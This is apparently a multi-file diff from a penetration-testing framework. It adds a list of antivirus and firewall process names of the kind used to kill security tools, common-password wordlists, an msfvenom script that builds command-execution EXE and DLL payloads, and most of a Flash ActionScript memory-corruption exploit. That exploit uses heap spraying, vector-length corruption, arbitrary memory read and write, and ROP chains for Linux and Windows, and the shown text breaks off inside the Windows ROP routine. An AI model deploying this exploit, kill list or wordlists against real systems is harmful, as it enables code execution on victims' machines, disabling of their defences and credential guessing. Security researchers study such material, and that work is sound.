||||
notstart.exe
|
||||
npf40_tw_98_nt_me_2k.exe
|
||||
npfmessenger.exe
|
||||
nprotect.exe
|
||||
npscheck.exe
|
||||
npssvc.exe
|
||||
nsched32.exe
|
||||
nssys32.exe
|
||||
nstask32.exe
|
||||
nsupdate.exe
|
||||
nt.exe
|
||||
ntrtscan.exe
|
||||
ntvdm.exe
|
||||
ntxconfig.exe
|
||||
nui.exe
|
||||
nupgrade.exe
|
||||
nvarch16.exe
|
||||
nvc95.exe
|
||||
nvsvc32.exe
|
||||
nwinst4.exe
|
||||
nwservice.exe
|
||||
nwtool16.exe
|
||||
ollydbg.exe
|
||||
onsrvr.exe
|
||||
optimize.exe
|
||||
ostronet.exe
|
||||
otfix.exe
|
||||
outpost.exe
|
||||
outpostinstall.exe
|
||||
outpostproinstall.exe
|
||||
padmin.exe
|
||||
panixk.exe
|
||||
patch.exe
|
||||
pavcl.exe
|
||||
pavproxy.exe
|
||||
pavsched.exe
|
||||
pavw.exe
|
||||
pccwin98.exe
|
||||
pcfwallicon.exe
|
||||
pcip10117_0.exe
|
||||
pcscan.exe
|
||||
pdsetup.exe
|
||||
periscope.exe
|
||||
persfw.exe
|
||||
perswf.exe
|
||||
pf2.exe
|
||||
pfwadmin.exe
|
||||
pgmonitr.exe
|
||||
pingscan.exe
|
||||
platin.exe
|
||||
pop3trap.exe
|
||||
poproxy.exe
|
||||
popscan.exe
|
||||
portdetective.exe
|
||||
portmonitor.exe
|
||||
powerscan.exe
|
||||
ppinupdt.exe
|
||||
pptbc.exe
|
||||
ppvstop.exe
|
||||
prizesurfer.exe
|
||||
prmt.exe
|
||||
prmvr.exe
|
||||
procdump.exe
|
||||
processmonitor.exe
|
||||
procexplorerv1.0.exe
|
||||
programauditor.exe
|
||||
proport.exe
|
||||
protectx.exe
|
||||
pspf.exe
|
||||
purge.exe
|
||||
qconsole.exe
|
||||
qserver.exe
|
||||
rapapp.exe
|
||||
rav7.exe
|
||||
rav7win.exe
|
||||
rav8win32eng.exe
|
||||
ray.exe
|
||||
rb32.exe
|
||||
rcsync.exe
|
||||
realmon.exe
|
||||
reged.exe
|
||||
regedit.exe
|
||||
regedt32.exe
|
||||
rescue.exe
|
||||
rescue32.exe
|
||||
rrguard.exe
|
||||
rshell.exe
|
||||
rtvscan.exe
|
||||
rtvscn95.exe
|
||||
rulaunch.exe
|
||||
run32dll.exe
|
||||
rundll.exe
|
||||
rundll16.exe
|
||||
ruxdll32.exe
|
||||
safeweb.exe
|
||||
sahagent.exescan32.exe
|
||||
shstat.exe
|
||||
tbmon.exe
|
||||
vstskmgr.exe
|
||||
engineserver.exe
|
||||
mfevtps.exe
|
||||
mfeann.exe
|
||||
mcscript.exe
|
||||
updaterui.exe
|
||||
udaterui.exe
|
||||
naprdmgr.exe
|
||||
frameworkservice.exe
|
||||
cleanup.exe
|
||||
cmdagent.exe
|
||||
frminst.exe
|
||||
mcscript_inuse.exe
|
||||
mctray.exe
|
||||
mcshield.exe
|
||||
save.exe
|
||||
savenow.exe
|
||||
sbserv.exe
|
||||
sc.exe
|
||||
scam32.exe
|
||||
scan32.exe
|
||||
scan95.exe
|
||||
scanpm.exe
|
||||
scrscan.exe
|
||||
serv95.exe
|
||||
setup_flowprotector_us.exe
|
||||
setupvameeval.exe
|
||||
sfc.exe
|
||||
sgssfw32.exe
|
||||
sh.exe
|
||||
shellspyinstall.exe
|
||||
shn.exe
|
||||
showbehind.exe
|
||||
smc.exe
|
||||
sms.exe
|
||||
smss32.exe
|
||||
soap.exe
|
||||
sofi.exe
|
||||
sperm.exe
|
||||
spf.exe
|
||||
sphinx.exe
|
||||
spoler.exe
|
||||
spoolcv.exe
|
||||
spoolsv32.exe
|
||||
spyxx.exe
|
||||
srexe.exe
|
||||
srng.exe
|
||||
ss3edit.exe
|
||||
ssg_4104.exe
|
||||
ssgrate.exe
|
||||
st2.exe
|
||||
start.exe
|
||||
stcloader.exe
|
||||
supftrl.exe
|
||||
support.exe
|
||||
supporter5.exe
|
||||
svchostc.exe
|
||||
svchosts.exe
|
||||
sweep95.exe
|
||||
sweepnet.sweepsrv.sys.swnetsup.exe
|
||||
symproxysvc.exe
|
||||
symtray.exe
|
||||
sysedit.exe
|
||||
sysupd.exe
|
||||
taskmg.exe
|
||||
taskmo.exe
|
||||
taumon.exe
|
||||
tbscan.exe
|
||||
tc.exe
|
||||
tca.exe
|
||||
tcm.exe
|
||||
tds-3.exe
|
||||
tds2-98.exe
|
||||
tds2-nt.exe
|
||||
teekids.exe
|
||||
tfak.exe
|
||||
tfak5.exe
|
||||
tgbob.exe
|
||||
titanin.exe
|
||||
titaninxp.exe
|
||||
tracert.exe
|
||||
trickler.exe
|
||||
trjscan.exe
|
||||
trjsetup.exe
|
||||
trojantrap3.exe
|
||||
tsadbot.exe
|
||||
tvmd.exe
|
||||
tvtmd.exe
|
||||
undoboot.exe
|
||||
updat.exe
|
||||
update.exe
|
||||
upgrad.exe
|
||||
utpost.exe
|
||||
vbcmserv.exe
|
||||
vbcons.exe
|
||||
vbust.exe
|
||||
vbwin9x.exe
|
||||
vbwinntw.exe
|
||||
vcsetup.exe
|
||||
vet32.exe
|
||||
vet95.exe
|
||||
vettray.exe
|
||||
vfsetup.exe
|
||||
vir-help.exe
|
||||
virusmdpersonalfirewall.exe
|
||||
vnlan300.exe
|
||||
vnpc3000.exe
|
||||
vpc32.exe
|
||||
vpc42.exe
|
||||
vpfw30s.exe
|
||||
vptray.exe
|
||||
vscan40.exe
|
||||
vscenu6.02d30.exe
|
||||
vsched.exe
|
||||
vsecomr.exe
|
||||
vshwin32.exe
|
||||
vsisetup.exe
|
||||
vsmain.exe
|
||||
vsmon.exe
|
||||
vsstat.exe
|
||||
vswin9xe.exe
|
||||
vswinntse.exe
|
||||
vswinperse.exe
|
||||
w32dsm89.exe
|
||||
w9x.exe
|
||||
watchdog.exe
|
||||
webdav.exe
|
||||
webscanx.exe
|
||||
webtrap.exe
|
||||
wfindv32.exe
|
||||
whoswatchingme.exe
|
||||
wimmun32.exe
|
||||
win-bugsfix.exe
|
||||
win32.exe
|
||||
win32us.exe
|
||||
winactive.exe
|
||||
window.exe
|
||||
windows.exe
|
||||
wininetd.exe
|
||||
wininitx.exe
|
||||
winlogin.exe
|
||||
winmain.exe
|
||||
winnet.exe
|
||||
winppr32.exe
|
||||
winrecon.exe
|
||||
winservn.exe
|
||||
winssk32.exe
|
||||
winstart.exe
|
||||
winstart001.exe
|
||||
wintsk32.exe
|
||||
winupdate.exe
|
||||
wkufind.exe
|
||||
wnad.exe
|
||||
wnt.exe
|
||||
wradmin.exe
|
||||
wrctrl.exe
|
||||
wsbgate.exe
|
||||
wupdater.exe
|
||||
wupdt.exe
|
||||
wyvernworksfirewall.exe
|
||||
xpf202en.exe
|
||||
zapro.exe
|
||||
zapsetup3001.exe
|
||||
zatutor.exe
|
||||
zonalm2601.exe
|
||||
zonealarm.exe
|
|
@ -0,0 +1,20 @@
|
|||
qwerty
|
||||
qwertyuiop
|
||||
1qaz2wsx
|
||||
qazwsx
|
||||
asdfgh
|
||||
zxcvbnm
|
||||
1234qwer
|
||||
q1w2e3r4t5
|
||||
qwer1234
|
||||
q1w2e3r4
|
||||
asdfasdf
|
||||
qazwsxedc
|
||||
asdfghjkl
|
||||
q1w2e3
|
||||
1qazxsw2
|
||||
12QWaszx
|
||||
qweasdzxc
|
||||
mnbvcxz
|
||||
a1b2c3d4
|
||||
adgjmptw
|
|
@ -1002,4 +1002,5 @@ sq!us3r
|
|||
adminpasswd
|
||||
raspberry
|
||||
74k&^*nh#$
|
||||
arcsight
|
||||
arcsight
|
||||
MargaretThatcheris110%SEXY
|
||||
|
|
|
@ -11,7 +11,7 @@
|
|||
#
|
||||
# It's strongly recommended that you check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema.define(version: 20150421211719) do
|
||||
ActiveRecord::Schema.define(version: 20150514182921) do
|
||||
|
||||
# These are extensions that must be enabled in order to support this database
|
||||
enable_extension "plpgsql"
|
||||
|
@ -684,9 +684,12 @@ ActiveRecord::Schema.define(version: 20150421211719) do
|
|||
t.datetime "exploited_at"
|
||||
t.integer "vuln_detail_count", default: 0
|
||||
t.integer "vuln_attempt_count", default: 0
|
||||
t.integer "origin_id"
|
||||
t.string "origin_type"
|
||||
end
|
||||
|
||||
add_index "vulns", ["name"], name: "index_vulns_on_name", using: :btree
|
||||
add_index "vulns", ["origin_id"], name: "index_vulns_on_origin_id", using: :btree
|
||||
|
||||
create_table "vulns_refs", force: true do |t|
|
||||
t.integer "ref_id"
|
||||
|
|
|
@ -2,12 +2,12 @@
|
|||
|
||||
dllbase = File.expand_path(File.dirname(__FILE__))
|
||||
msfbase = File.expand_path(File.join(dllbase, "..", "..", ".."))
|
||||
msfp = File.join(msfbase, "msfpayload")
|
||||
msfv = File.join(msfbase, "msfvenom")
|
||||
|
||||
Dir.chdir(dllbase)
|
||||
|
||||
system("ruby #{msfp} windows/exec CMD=calc.exe X > runcalc.exe")
|
||||
system("ruby #{msfp} windows/exec CMD=calc.exe D > runcalc.dll")
|
||||
system("ruby #{msfp} windows/exec CMD='cmd.exe /c echo yes > exploited.txt' D > runtest.dll")
|
||||
system("ruby #{msfp} windows/exec CMD='cmd.exe /c echo yes > exploited.txt' X > runtest.exe")
|
||||
system("ruby #{msfv} -p windows/exec CMD=calc.exe -f exe -o runcalc.exe")
|
||||
system("ruby #{msfv} -p windows/exec CMD=calc.exe -f dll -o runcalc.dll")
|
||||
system("ruby #{msfv} -p windows/exec CMD='cmd.exe /c echo yes > exploited.txt' -f dll -o runtest.dll")
|
||||
system("ruby #{msfv} -p windows/exec CMD='cmd.exe /c echo yes > exploited.txt' -f exe -o runtest.exe")
|
||||
|
||||
|
|
|
@ -0,0 +1,235 @@
|
|||
package
|
||||
{
|
||||
public class Elf
|
||||
{
|
||||
private const PT_DYNAMIC:uint = 2
|
||||
private const PT_LOAD:uint = 1
|
||||
private const PT_READ_EXEC:uint = 5
|
||||
private const DT_SYMTAB:uint = 6
|
||||
private const DT_STRTAB:uint = 5
|
||||
private const DT_PLTGOT:uint = 3
|
||||
|
||||
private var e_ba:ExploitByteArray
|
||||
// elf base address
|
||||
public var base:uint = 0
|
||||
// program header address
|
||||
public var ph:uint = 0
|
||||
// number of program headers
|
||||
public var ph_size:uint = 0
|
||||
// program header entry size
|
||||
public var ph_esize:uint = 0
|
||||
// DYNAMIC segment address
|
||||
public var seg_dynamic:uint = 0
|
||||
// DYNAMIC segment size
|
||||
public var seg_dynamic_size:uint = 0
|
||||
// CODE segment address
|
||||
public var seg_exec:uint = 0
|
||||
// CODE segment size
|
||||
public var seg_exec_size:uint = 0
|
||||
// .dynsyn section address
|
||||
public var sec_dynsym:uint = 0
|
||||
// .synstr section address
|
||||
public var sec_dynstr:uint = 0
|
||||
// .got.plt section address
|
||||
public var sec_got_plt:uint = 0
|
||||
|
||||
public function Elf(ba:ExploitByteArray, addr:uint)
|
||||
{
|
||||
e_ba = ba
|
||||
set_base(addr)
|
||||
set_program_header()
|
||||
set_program_header_size()
|
||||
set_program_header_entry_size()
|
||||
set_dynamic_segment()
|
||||
set_exec_segment()
|
||||
set_dynsym()
|
||||
set_dynstr()
|
||||
set_got_plt()
|
||||
}
|
||||
|
||||
public function external_symbol(name:String):uint {
|
||||
var entry:uint = 0
|
||||
var st_name:uint = 0
|
||||
var st_value:uint = 0
|
||||
var st_size:uint = 0
|
||||
var st_info:uint = 0
|
||||
var st_other:uint = 0
|
||||
var st_shndx:uint = 0
|
||||
var st_string:String = ""
|
||||
var got_plt_index:uint = 0
|
||||
|
||||
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
|
||||
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||
st_name = e_ba.read(entry)
|
||||
st_value = e_ba.read(entry + 4)
|
||||
st_info = e_ba.read(entry + 0xc, "byte")
|
||||
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||
if (st_string == name) {
|
||||
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
|
||||
}
|
||||
if (st_info != 0x11) {
|
||||
got_plt_index++
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
public function symbol(name:String):uint {
|
||||
var entry:uint = 0
|
||||
var st_name:uint = 0
|
||||
var st_value:uint = 0
|
||||
var st_size:uint = 0
|
||||
var st_info:uint = 0
|
||||
var st_other:uint = 0
|
||||
var st_shndx:uint = 0
|
||||
var st_string:String = ""
|
||||
|
||||
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
|
||||
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||
st_name = e_ba.read(entry)
|
||||
st_value = e_ba.read(entry + 4)
|
||||
st_info = e_ba.read(entry + 0xc, "byte")
|
||||
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||
if (st_string == name) {
|
||||
return base + st_value
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
|
||||
public function gadget(gadget:String, hint:uint):uint
|
||||
{
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
var contents:uint = 0
|
||||
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
|
||||
contents = e_ba.read(seg_exec + i)
|
||||
if (hint == 0xffffffff && value == contents) {
|
||||
return seg_exec + i
|
||||
}
|
||||
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||
return seg_exec + i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_base(addr:uint):void
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (e_ba.read(addr) == 0x464c457f) {
|
||||
base = addr
|
||||
return
|
||||
}
|
||||
addr -= 0x1000
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_program_header():void
|
||||
{
|
||||
ph = base + e_ba.read(base + 0x1c)
|
||||
}
|
||||
|
||||
private function set_program_header_size():void
|
||||
{
|
||||
ph_size = e_ba.read(base + 0x2c, "word")
|
||||
}
|
||||
|
||||
private function set_program_header_entry_size():void
|
||||
{
|
||||
ph_esize = e_ba.read(base + 0x2a, "word")
|
||||
}
|
||||
|
||||
private function set_dynamic_segment():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var p_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < ph_size; i++) {
|
||||
entry = ph + (i * ph_esize)
|
||||
p_type = e_ba.read(entry)
|
||||
if (p_type == PT_DYNAMIC) {
|
||||
seg_dynamic = base + e_ba.read(entry + 8)
|
||||
seg_dynamic_size = e_ba.read(entry + 0x14)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_exec_segment():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var p_type:uint = 0
|
||||
var p_flags:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < ph_size; i++) {
|
||||
entry = ph + (i * ph_esize)
|
||||
p_type = e_ba.read(entry)
|
||||
p_flags = e_ba.read(entry + 0x18)
|
||||
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
|
||||
seg_exec = base + e_ba.read(entry + 8)
|
||||
seg_exec_size = e_ba.read(entry + 0x14)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_dynsym():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_SYMTAB) {
|
||||
sec_dynsym = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_dynstr():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_STRTAB) {
|
||||
sec_dynstr = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_got_plt():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_PLTGOT) {
|
||||
sec_got_plt = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,131 @@
|
|||
//compile with AIR SDK 13.0: mxmlc Exploit.as -o msf.swf
|
||||
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
|
||||
|
||||
package {
|
||||
import flash.display.Sprite
|
||||
import flash.utils.ByteArray
|
||||
import flash.display.Shader
|
||||
import flash.system.Capabilities
|
||||
import flash.utils.Endian
|
||||
import __AS3__.vec.Vector
|
||||
import __AS3__.vec.*
|
||||
import flash.display.LoaderInfo
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
public class Exploit extends Sprite {
|
||||
|
||||
protected var Shad:Class
|
||||
private var uv:Vector.<uint>
|
||||
private var b64:Base64Decoder = new Base64Decoder()
|
||||
private var payload:ByteArray
|
||||
private var platform:String
|
||||
private var os:String
|
||||
private var exploiter:Exploiter
|
||||
|
||||
public function Exploit(){
|
||||
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
payload = b64.toByteArray()
|
||||
|
||||
var shader:Shader
|
||||
if (platform == "linux") {
|
||||
this.Shad = GraphShadLinux
|
||||
} else {
|
||||
this.Shad = GraphShadWindows
|
||||
}
|
||||
|
||||
super()
|
||||
var i:* = 0
|
||||
var j:* = 0
|
||||
var offset:int = -1
|
||||
var corrupted_vector_idx:int = -1
|
||||
|
||||
// Memory massage
|
||||
var array_length:uint = 0x10000
|
||||
var vector_size:uint = 34
|
||||
var array:Array = new Array()
|
||||
|
||||
i = 0
|
||||
while (i < array_length)
|
||||
{
|
||||
array[i] = new Vector.<uint>(vector_size)
|
||||
i++;
|
||||
}
|
||||
|
||||
i = 0
|
||||
while (i < array_length)
|
||||
{
|
||||
array[i].length = 0
|
||||
i++
|
||||
}
|
||||
|
||||
i = 0x0200
|
||||
while (i < array_length)
|
||||
{
|
||||
array[(i - (2 * (j % 2)))].length = 0x0100
|
||||
array[(i - (2 * (j % 2)))][0] = 0xdeedbeef
|
||||
array[(i - (2 * (j % 2)))][2] = (i - (2 * (j % 2)))
|
||||
i = (i + 28)
|
||||
j++
|
||||
}
|
||||
|
||||
// Overflow and Search for corrupted vector
|
||||
var shadba:ByteArray = (new this.Shad() as ByteArray)
|
||||
shadba.position = 0
|
||||
|
||||
shader = new Shader()
|
||||
try
|
||||
{
|
||||
shader.byteCode = (new this.Shad() as ByteArray);
|
||||
} catch(e) { }
|
||||
|
||||
i = 0
|
||||
while (i < array_length)
|
||||
{
|
||||
if (array[i].length > 0x0100)
|
||||
{
|
||||
corrupted_vector_idx = i
|
||||
break
|
||||
}
|
||||
i++
|
||||
}
|
||||
|
||||
if (corrupted_vector_idx == -1) {
|
||||
return
|
||||
}
|
||||
|
||||
for(i = 0; i < array[corrupted_vector_idx].length; i++) {
|
||||
if (array[corrupted_vector_idx][i] == 0x0100 && array[corrupted_vector_idx][i + 2] == 0xdeedbeef) {
|
||||
array[corrupted_vector_idx][i] = 0xffffffff
|
||||
offset = i
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if (offset == -1) {
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
for(i = 0; i < array.length; i++) {
|
||||
if (array[i].length == 0xffffffff) {
|
||||
uv = array[i]
|
||||
uv[0x3ffffffc - offset] = 34
|
||||
}
|
||||
}
|
||||
|
||||
for(i = 0; i < array.length; i++) {
|
||||
if (array[i].length != 0xffffffff) {
|
||||
delete(array[i])
|
||||
array[i] = null
|
||||
}
|
||||
}
|
||||
|
||||
exploiter = new Exploiter(this, platform, os, payload, uv)
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,85 @@
|
|||
package
|
||||
{
|
||||
import flash.utils.ByteArray
|
||||
|
||||
public class ExploitByteArray
|
||||
{
|
||||
private const MAX_STRING_LENGTH:uint = 100
|
||||
public var ba:ByteArray
|
||||
public var original_length:uint
|
||||
private var platform:String
|
||||
|
||||
public function ExploitByteArray(p:String, l:uint = 1024)
|
||||
{
|
||||
ba = new ByteArray()
|
||||
ba.length = l
|
||||
ba.endian = "littleEndian"
|
||||
ba.writeUnsignedInt(0)
|
||||
platform = p
|
||||
original_length = l
|
||||
}
|
||||
|
||||
public function set_length(length:uint):void
|
||||
{
|
||||
ba.length = length
|
||||
}
|
||||
|
||||
public function get_length():uint
|
||||
{
|
||||
return ba.length
|
||||
}
|
||||
|
||||
public function lets_ready():void
|
||||
{
|
||||
ba.endian = "littleEndian"
|
||||
if (platform == "linux") {
|
||||
ba.length = 0xffffffff
|
||||
}
|
||||
}
|
||||
|
||||
public function is_ready():Boolean
|
||||
{
|
||||
if (ba.length == 0xffffffff)
|
||||
return true
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
public function read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
public function read_string(addr:uint, length:uint = 0):String
|
||||
{
|
||||
ba.position = addr
|
||||
if (length == 0)
|
||||
return ba.readUTFBytes(MAX_STRING_LENGTH)
|
||||
else
|
||||
return ba.readUTFBytes(length)
|
||||
}
|
||||
|
||||
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
var i:uint
|
||||
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else if (value is ByteArray) {
|
||||
var value_length:uint = value.length
|
||||
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,74 @@
|
|||
package
|
||||
{
|
||||
public class ExploitVector
|
||||
{
|
||||
private var uv:Vector.<uint>
|
||||
public var original_length:uint = 0x100
|
||||
|
||||
public function ExploitVector(v:Vector.<uint>)
|
||||
{
|
||||
uv = v
|
||||
}
|
||||
|
||||
public function restore():void
|
||||
{
|
||||
uv[0x3ffffffe] = original_length
|
||||
}
|
||||
|
||||
public function is_ready():Boolean
|
||||
{
|
||||
if (uv.length > original_length)
|
||||
{
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
public function at(pos:uint):uint
|
||||
{
|
||||
return uv[pos]
|
||||
}
|
||||
|
||||
// pos: position where a Vector.<Object>[0] lives
|
||||
public function set_own_address(pos:uint):void
|
||||
{
|
||||
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
|
||||
}
|
||||
|
||||
public function read(addr:uint):uint
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > uv[0]) {
|
||||
pos = ((addr - uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
return uv[pos]
|
||||
}
|
||||
|
||||
public function write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > uv[0]) {
|
||||
pos = ((addr - uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
uv[pos] = value
|
||||
}
|
||||
|
||||
public function search_pattern(pattern:uint, limit:uint):uint
|
||||
{
|
||||
for (var i:uint = 0; i < limit/4; i++) {
|
||||
if (uv[i] == pattern) {
|
||||
return i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,399 @@
|
|||
package
|
||||
{
|
||||
import flash.utils.ByteArray
|
||||
import flash.system.System
|
||||
|
||||
public class Exploiter
|
||||
{
|
||||
private const VECTOR_OBJECTS_LENGTH:uint = 1014
|
||||
private var exploit:Exploit
|
||||
private var ev:ExploitVector
|
||||
private var eba:ExploitByteArray
|
||||
private var payload:ByteArray
|
||||
private var platform:String
|
||||
private var op_system:String
|
||||
private var pos:uint
|
||||
private var byte_array_object:uint
|
||||
private var main:uint
|
||||
private var stack_object:uint
|
||||
private var payload_space_object:uint
|
||||
private var buffer_object:uint
|
||||
private var buffer:uint
|
||||
private var vtable:uint
|
||||
private var stack_address:uint
|
||||
private var payload_address:uint
|
||||
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var spray:Vector.<Object> = new Vector.<Object>(90000)
|
||||
|
||||
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
|
||||
{
|
||||
exploit = exp
|
||||
payload = p
|
||||
platform = pl
|
||||
op_system = os
|
||||
|
||||
ev = new ExploitVector(uv)
|
||||
if (!ev.is_ready()) return
|
||||
eba = new ExploitByteArray(platform)
|
||||
spray_objects()
|
||||
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
|
||||
ev.set_own_address(pos)
|
||||
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
|
||||
disclose_addresses()
|
||||
corrupt_byte_array()
|
||||
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
|
||||
do_rop()
|
||||
restore_byte_array()
|
||||
ev.restore()
|
||||
cleanup()
|
||||
}
|
||||
|
||||
private function spray_objects():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - spray_objects()")
|
||||
for (var i:uint = 0; i < spray.length; i++)
|
||||
{
|
||||
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
|
||||
spray[i][0] = eba.ba
|
||||
spray[i][1] = exploit
|
||||
spray[i][2] = stack
|
||||
spray[i][3] = payload_space
|
||||
}
|
||||
}
|
||||
|
||||
private function search_objects():uint
|
||||
{
|
||||
Logger.log("[*] Exploiter - search_objects()")
|
||||
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
|
||||
return idx + 1
|
||||
}
|
||||
|
||||
private function disclose_objects():Boolean
|
||||
{
|
||||
Logger.log("[*] Exploiter - disclose_objects()")
|
||||
byte_array_object = ev.at(pos) - 1
|
||||
main = ev.at(pos + 1) - 1
|
||||
stack_object = ev.at(pos + 2) - 1
|
||||
payload_space_object = ev.at(pos + 3) - 1
|
||||
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
private function disclose_addresses():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - disclose_addresses()")
|
||||
if (platform == "linux")
|
||||
{
|
||||
buffer_object = ev.read(byte_array_object + 0x10)
|
||||
buffer = ev.read(buffer_object + 0x1c)
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
buffer_object = ev.read(byte_array_object + 0x40)
|
||||
buffer = ev.read(buffer_object + 8)
|
||||
}
|
||||
vtable = ev.read(main)
|
||||
stack_address = ev.read(stack_object + 0x18)
|
||||
payload_address = ev.read(payload_space_object + 0x18)
|
||||
}
|
||||
|
||||
private function corrupt_byte_array():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
|
||||
if (platform == "linux")
|
||||
{
|
||||
ev.write(buffer_object + 0x1c) // *array
|
||||
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
ev.write(buffer_object + 8) // *array
|
||||
ev.write(buffer_object + 16, 0xffffffff) // capacity
|
||||
}
|
||||
eba.lets_ready()
|
||||
}
|
||||
|
||||
private function restore_byte_array():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
|
||||
if (platform == "linux")
|
||||
{
|
||||
ev.write(buffer_object + 0x1c, buffer) // *array
|
||||
ev.write(buffer_object + 0x20, 1024) // capacity
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
ev.write(buffer_object + 8, buffer) // *array
|
||||
ev.write(buffer_object + 16, 1024) // capacity
|
||||
}
|
||||
eba.set_length(eba.original_length)
|
||||
}
|
||||
|
||||
private function do_rop():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop()")
|
||||
if (platform == "linux") {
|
||||
do_rop_linux()
|
||||
} else if (platform == "win") {
|
||||
if (op_system == "Windows 8.1") {
|
||||
do_rop_windows8()
|
||||
} else if (op_system == "Windows 7") {
|
||||
do_rop_windows()
|
||||
} else {
|
||||
return
|
||||
}
|
||||
} else {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
private function do_rop_windows():void
|
||||
{
|
||||
